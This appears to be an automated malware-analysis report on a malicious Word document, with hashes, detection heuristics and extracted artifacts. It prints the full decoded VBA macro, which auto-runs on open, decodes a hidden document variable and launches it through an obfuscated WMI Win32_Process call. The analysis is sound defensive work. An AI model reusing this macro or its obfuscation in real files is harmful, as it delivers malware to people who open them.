Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e44141ff070ca6b4…

MALICIOUS

Office (OOXML)

337.4 KB Created: 2020-07-21 00:01:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: dc31658316c032703153024ee4999a82 SHA-1: 5ddef070b3a8783caed39b7515267afd3217923b SHA-256: e44141ff070ca6b4514c2a6160b4443aeb353f79c74bac06de472ff0a21be458
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with a Document_Open auto-execution trigger. The macro uses GetObject and CreateObject with the 'winmgmts' moniker to launch a process, indicating an attempt to download and execute a second-stage payload. The obfuscation technique of splitting keywords further supports malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3336 bytes
SHA-256: 0e646c514d69a328412910b98e6d79f9491899f99fe45912de8c83f56841130e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit






                                                                            Private Sub SuperSeded(ByVal Forwent As String)
Dim Majesty As Long: Dim Gerundive() As Byte





                                                                            GoTo Skimmia






                                                    





Semiepical:







           Depriver StrConv(Gerundive, 64, 1055)







                                                





                                                




                                        Exit Sub
EnsurEd:






                 





            




                                                                For Majesty = 0 To UBound(Gerundive)
Gerundive(Majesty) = Abs(Gerundive(Majesty) - 16)
Next








                                                                    







                                                GoTo Semiepical






               Exit Sub








               







Skimmia:







                                                Gerundive = StrConv(Forwent, 128, 1055)








                                                                        





                   






                                                    GoTo EnsurEd
Exit Sub







                                                




                                            





            End Sub
Sub Document_Open()







             Call Plutonian
End Sub







                                                            Private Sub Plutonian()





           Dim Forwent As String: Forwent = ActiveDocument.Variables("r4354b8e31e324").Value








          







                                                                        SuperSeded Forwent








                                                        







               End Sub








               






          Private Sub Depriver(ByVal OuthyperbOlizing As String)








                                        Dim UneqUable As String: UneqUable = "."





                                                        If OuthyperbOlizing <> "" Then








                  GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & UneqUable & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create OuthyperbOlizing, Null, Null, 0





               Else







                  




            MsgBox "Promted usr764 ."





                GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0







                                                                End If
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: word/embeddings/Microsoft_Word_Document.docx 116725 bytes
SHA-256: a6994363902c5de85f13aa7c0ca94cc215564d609791ffc3d612df3f58c34d86
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 55134a9a869cba24c69e1972dd3e7501f278a15e37f3fdfebd304b77df0ba0ea
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: word/media/image1.emf 1055628 bytes
SHA-256: c30200a148d83b22f4d543d8e65738bafbb70ce4c3a59d49bf5e4035f0939805

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